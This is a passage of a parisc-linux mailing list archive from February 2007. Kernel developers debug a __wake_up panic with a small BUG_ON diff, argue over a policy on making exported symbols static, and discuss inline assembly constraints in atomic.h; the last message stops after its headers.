Approved: news@gmane.org
Message-ID: <1171221592.3406.32.camel__9339.49033865265$1416624284$gmane$org@mulgrave.il.steeleye.com>
References: <200702101937.l1AJb7Uo014941@hiauly1.hia.nrc.ca>
	<1171158607.3373.54.camel@mulgrave.il.steeleye.com>
	<119aab440702110909r2018a297k98b4f1baed54821a@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624284 22705 80.91.229.3 (22 Nov 2014 02:44:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:44 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 dave.anglin@nrc.ca,
 parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Feb 2007 19:20:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx058) with SMTP; 11 Feb 2007 20:20:21 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 731987DB8B;
	Sun, 11 Feb 2007 12:20:17 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18249-08; Sun, 11 Feb 2007 12:20:17 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6AB587DB8C;
	Sun, 11 Feb 2007 12:20:15 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 95D857DB8A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Feb 2007 12:20:11 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18290-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Feb 2007 12:20:10 -0700 (MST)
Original-Received: from hancock.sc.steeleye.com (hancock.steeleye.com [71.30.118.248])
	by free.linux.hp.com (Postfix) with ESMTP id 9C51D7DB88
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Feb 2007 12:20:09 -0700 (MST)
Original-Received: from [172.17.6.40] (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id l1BJJrx10422; 
	Sun, 11 Feb 2007 14:19:53 -0500
In-Reply-To: <119aab440702110909r2018a297k98b4f1baed54821a@mail.gmail.com>
X-Mailer: Evolution 2.8.2.1 (2.8.2.1-3.fc6) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: GRmmdr0neWU35a2TZm9nF40rL0tsZk2G
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24309

On Sun, 2007-02-11 at 12:09 -0500, Carlos O'Donell wrote:
> How do I validate your guess? Look for a null or bogus curr->func when
> scheduling?

Disassemble the piece in vmlinux for __wait_common and check that the
instruction that faulted is where the code gets the curr->func.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Fw: Another problem with making things static
Date: Sun, 11 Feb 2007 09:56:53 -0600
Lines: 32
Approved: news@gmane.org
Message-ID: <1171209413.3406.30.camel__42827.8610147119$1416624284$gmane$org@mulgrave.il.steeleye.com>
References: <20070210130136.9538498b.akpm@linux-foundation.org>
	<20070210214309.GP12958@stusta.de>
	<1171158436.3373.51.camel@mulgrave.il.steeleye.com>
	<20070211073520.GR12958@stusta.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624284 22709 80.91.229.3 (22 Nov 2014 02:44:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:44 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
 Linus Torvalds <torvalds@linux-foundation.org>,
 Parisc List <parisc-linux@lists.parisc-linux.org>
To: Adrian Bunk <bunk@stusta.de>
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Feb 2007 15:58:12 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx048) with SMTP; 11 Feb 2007 16:58:12 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A92217DB2A;
	Sun, 11 Feb 2007 08:58:08 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10401-06; Sun, 11 Feb 2007 08:58:08 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 76C417DB2B;
	Sun, 11 Feb 2007 08:58:06 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4BD5A7DAAC
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Feb 2007 08:58:03 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10385-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Feb 2007 08:58:01 -0700 (MST)
Original-Received: from hancock.sc.steeleye.com (hancock.steeleye.com [71.30.118.248])
	by free.linux.hp.com (Postfix) with ESMTP id 4B5947DA54
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Feb 2007 08:58:01 -0700 (MST)
Original-Received: from [172.17.6.40] (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id l1BFusx31598; 
	Sun, 11 Feb 2007 10:56:54 -0500
In-Reply-To: <20070211073520.GR12958@stusta.de>
X-Mailer: Evolution 2.8.2.1 (2.8.2.1-3.fc6) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Igv8cZEhTXs94ayRbmQ5QC9KRzdyMkP7
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24310

On Sun, 2007-02-11 at 08:35 +0100, Adrian Bunk wrote:
> On Sat, Feb 10, 2007 at 07:47:16PM -0600, James Bottomley wrote:
> > On Sat, 2007-02-10 at 22:43 +0100, Adrian Bunk wrote:
> > > First of all thanks to Andrew for forwarding this email to me - it's 
> > > otherwise a bit hard to defend against an email that doesn't reach me.
> > 
> > I think if you read the email you'll find it didn't actually attack you
> > at all ... I was careful only to ask for a change of policy before
> > accepting a patch that does nothing but make a function static.
> 
> Then let's call it "trying to establish rule forbidding something 
> established without even informing the people whose actions you want to 
> become forbidden".

I'm sorry, but I didn't realise you would be unable to come up with
justifications for API removal, and thus this would become an
insuperable bar to you.  The justification criterion was meant to be a
more objective way of judging whether some API should be revoked and it
seems to me, as a developer, to be a reasonable and not too onerous one.
As Andrew pointed out, for most of the driver and FS symbols the
justification is simply that this module isn't supposed to be exporting
an API at all.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Expect defunct, kill -9 panics kernel?
Date: Sun, 11 Feb 2007 12:17:08 -0500 (EST)
Lines: 38
Approved: news@gmane.org
Message-ID: <200702111717.l1BHH8dB023568__34888.6876753115$1416624284$gmane$org@hiauly1.hia.nrc.ca>
References: <119aab440702110909r2018a297k98b4f1baed54821a@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624284 22710 80.91.229.3 (22 Nov 2014 02:44:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:44 +0000 (UTC)
Cc: James.Bottomley@steeleye.com,
 dave.anglin@nrc.ca,
 parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Feb 2007 17:17:22 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx087) with SMTP; 11 Feb 2007 18:17:22 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9DFC27DB50;
	Sun, 11 Feb 2007 10:17:20 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12621-01; Sun, 11 Feb 2007 10:17:18 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2FFD17DB47;
	Sun, 11 Feb 2007 10:17:15 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F0E7B7DB3C
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Feb 2007 10:17:12 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12072-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Feb 2007 10:17:11 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 3AFA37DB2E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Feb 2007 10:17:11 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l1BHH90W023573;
	Sun, 11 Feb 2007 12:17:09 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l1BHH8dB023568;
	Sun, 11 Feb 2007 12:17:08 -0500 (EST)
In-Reply-To: <119aab440702110909r2018a297k98b4f1baed54821a@mail.gmail.com>
	from "Carlos O'Donell" at Feb 11, 2007 12:09:24 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: kXb3cOR1bmw74a2HZzdLvSFHUzc4clGt
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24311

> On 2/10/07, James Bottomley <James.Bottomley@steeleye.com> wrote:
> > On Sat, 2007-02-10 at 14:37 -0500, John David Anglin wrote:
> > > > 0x10 looks to be curr->func implying curr is NULL and thus the queue
> > > > task_list is corrupt.
> > >
> > > Do you think it help to add a check in __wake_up for a NULL pointer?
> >
> > I suppose so ... I'd really like someone to validate my guess though,
> > although an additional BUG_ON() can't hurt.
> 
> How do I validate your guess? Look for a null or bogus curr->func when
> scheduling?

I'm trying the change below.  Hasn't triggered yet.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

diff --git a/kernel/sched.c b/kernel/sched.c
index cca93cc..277e426 100644
--- a/kernel/sched.c
+++ b/kernel/sched.c
@@ -3703,6 +3703,7 @@ void fastcall __wake_up(wait_queue_head_t *q, unsigned int mode,
 {
 	unsigned long flags;
 
+	BUG_ON(!q);
 	spin_lock_irqsave(&q->lock, flags);
 	__wake_up_common(q, mode, nr_exclusive, 0, key);
 	spin_unlock_irqrestore(&q->lock, flags);
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] input constraints in atomic.h too loose ?
Date: Sun, 11 Feb 2007 12:36:56 -0500 (EST)
Lines: 20
Approved: news@gmane.org
Message-ID: <200702111736.l1BHav1a028394__24370.5841283829$1416624284$gmane$org@hiauly1.hia.nrc.ca>
References: <119aab440702110918k1aca7744rc8abb50949a22069@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624284 22711 80.91.229.3 (22 Nov 2014 02:44:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Feb 2007 17:37:11 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx052) with SMTP; 11 Feb 2007 18:37:11 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 60BDE7DB5E;
	Sun, 11 Feb 2007 10:37:09 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13532-04; Sun, 11 Feb 2007 10:37:09 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 864D07DB44;
	Sun, 11 Feb 2007 10:37:06 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2353B7DB56
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Feb 2007 10:37:03 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12547-10 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Feb 2007 10:37:01 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 55E137DB44
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Feb 2007 10:37:01 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l1BHavjL028397;
	Sun, 11 Feb 2007 12:36:58 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l1BHav1a028394;
	Sun, 11 Feb 2007 12:36:57 -0500 (EST)
In-Reply-To: <119aab440702110918k1aca7744rc8abb50949a22069@mail.gmail.com>
	from "Carlos O'Donell" at Feb 11, 2007 12:18:54 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: LjCnCMgIbHIy4q3NNjQ0y1QqJihyatAB
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24312

> > /tmp/ccvCRbqg.s:43: Error: bad expression

> What *is* the bad assembly here. Please don't make me count assembly
> line numbers, just point me at the bad asm.

The problem is the "m" constraint is too broad for ldw and stw insns.
These instructions don't accept any memory address.  As suggested,
the "o" constraint should work.  Alternatively, the address of the
variables could be forced to a register.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] input constraints in atomic.h too loose ?
Date: Sun, 11 Feb 2007 12:59:19 -0500 (EST)
Lines: 20
Approved: news@gmane.org
Message-ID: <200702111759.l1BHxJBD003332__41339.2244525768$1416624285$gmane$org@hiauly1.hia.nrc.ca>
References: <119aab440702110947u418c907eu19c3044230874df4@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624285 22713 80.91.229.3 (22 Nov 2014 02:44:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Feb 2007 17:59:33 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx100) with SMTP; 11 Feb 2007 18:59:33 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1EFAC7DB71;
	Sun, 11 Feb 2007 10:59:30 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14238-06; Sun, 11 Feb 2007 10:59:30 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C8CF97DB72;
	Sun, 11 Feb 2007 10:59:27 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2BCF07DB6B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Feb 2007 10:59:25 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14064-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Feb 2007 10:59:23 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 6A3A07DB61
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Feb 2007 10:59:23 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l1BHxKkt003333;
	Sun, 11 Feb 2007 12:59:21 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l1BHxJBD003332;
	Sun, 11 Feb 2007 12:59:19 -0500 (EST)
In-Reply-To: <119aab440702110947u418c907eu19c3044230874df4@mail.gmail.com>
	from "Carlos O'Donell" at Feb 11, 2007 12:47:32 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: vmv8cZogX1VpteuYY2Fyd6R3SDc4NIws
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24313

> There was a reason I didn't force them to a register, but I can't
> remember. At this very moment I don't see why they couldn't have been
> "=r".

> Did you want to test "=r" and change the two stw's to copy's?

That won't work.  If these are global variables, you need the
*address* of the variables in registers and to use stw %rX,0(%Y)
instead of stw %rX,%Y.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Expect defunct, kill -9 panics kernel?
Date: Sun, 11 Feb 2007 14:35:06 -0600
Lines: 35
Approved: news@gmane.org
Message-ID: <1171226106.3406.47.camel__9782.75502934611$1416624285$gmane$org@mulgrave.il.steeleye.com>
References: <200702101937.l1AJb7Uo014941@hiauly1.hia.nrc.ca>
	<1171158607.3373.54.camel@mulgrave.il.steeleye.com>
	<119aab440702110909r2018a297k98b4f1baed54821a@mail.gmail.com>
	<1171221592.3406.32.camel@mulgrave.il.steeleye.com>
	<119aab440702111221k19b2643em26ac943399274b9f@mail.gmail.com>
	<119aab440702111222v3562f308v9808b4dea7b73d59@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624285 22716 80.91.229.3 (22 Nov 2014 02:44:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
